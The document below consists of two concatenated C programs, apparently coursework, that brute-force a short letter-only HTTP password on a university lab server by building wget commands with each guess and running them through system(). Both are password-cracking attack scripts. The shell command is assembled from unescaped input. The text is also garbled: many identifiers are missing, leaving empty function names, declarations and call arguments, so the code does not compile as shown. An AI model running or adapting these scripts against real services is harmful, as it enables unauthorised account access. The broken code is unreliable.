#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}



#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255



int genchkpwd(char *chararray,char *passwd)
 {
   int i,j,k,success;
   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
   
   
   strcpy(str1,"wget --http-user= --http-passwd=");
   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(tempstr,"");



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      strcat(tempstr,str1);
      strcat(tempstr,passwd);
      strcat(tempstr,str2);
      printf("SENDING REQUEST AS %s\n",tempstr);
      success=system (tempstr);
      if (success==0)
       return 1;
      else
       strcpy(tempstr,""); 
       strcpy(passwd,"");
     }     



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
	 strcat(tempstr,str1);
         strcat(tempstr,passwd);
         strcat(tempstr,str2);
         printf("SENDING REQUEST AS %s\n",tempstr);
         success=system (tempstr);
         if (success==0)
           return 1;
         else
         strcpy(tempstr,""); 
         
      }     
    }



   for(i=0;i<52;i++)
    {
      passwd[0]= chararray[i];
      for(j=0;j<52;j++)
       {
         passwd[1]=chararray[j];
         for(k=0;k<52;k++)
	  {
	    passwd[2]=chararray[k];
	    strcat(tempstr,str1);
            strcat(tempstr,passwd);
            strcat(tempstr,str2);
            printf("SENDING REQUEST AS %s\n",tempstr);
            success=system (tempstr);
            if (success==0)
              return 1;
            else
              strcpy(tempstr,""); 
	  }    
       }     
     }
   return 1;
  }  

int  (int argc, char *argv[])
 {
     char chararray[52],passwd[3];
     int i,success;
     char ch='a';


     
     int , end;    
      = time();	 

     for (i=0;i<3;i++)
      {
          passwd[i]='\0';
      }  



     for (i=0;i<26;i++)
      {
          chararray[i]= ch;
	  ch++;
      }
      ch='A';  
     for (i=26;i<52;i++)
      {
          chararray[i]= ch;
	  ch++;
      }



      success=genchkpwd(chararray,passwd);
      printf("\nPassword is %s\n",passwd); 
      getpid();
      end = time(); 
      printf("Time required = %lld msec\n",(end-)/());
     return (EXIT_SUCCESS);
  }
     
	   
	  	
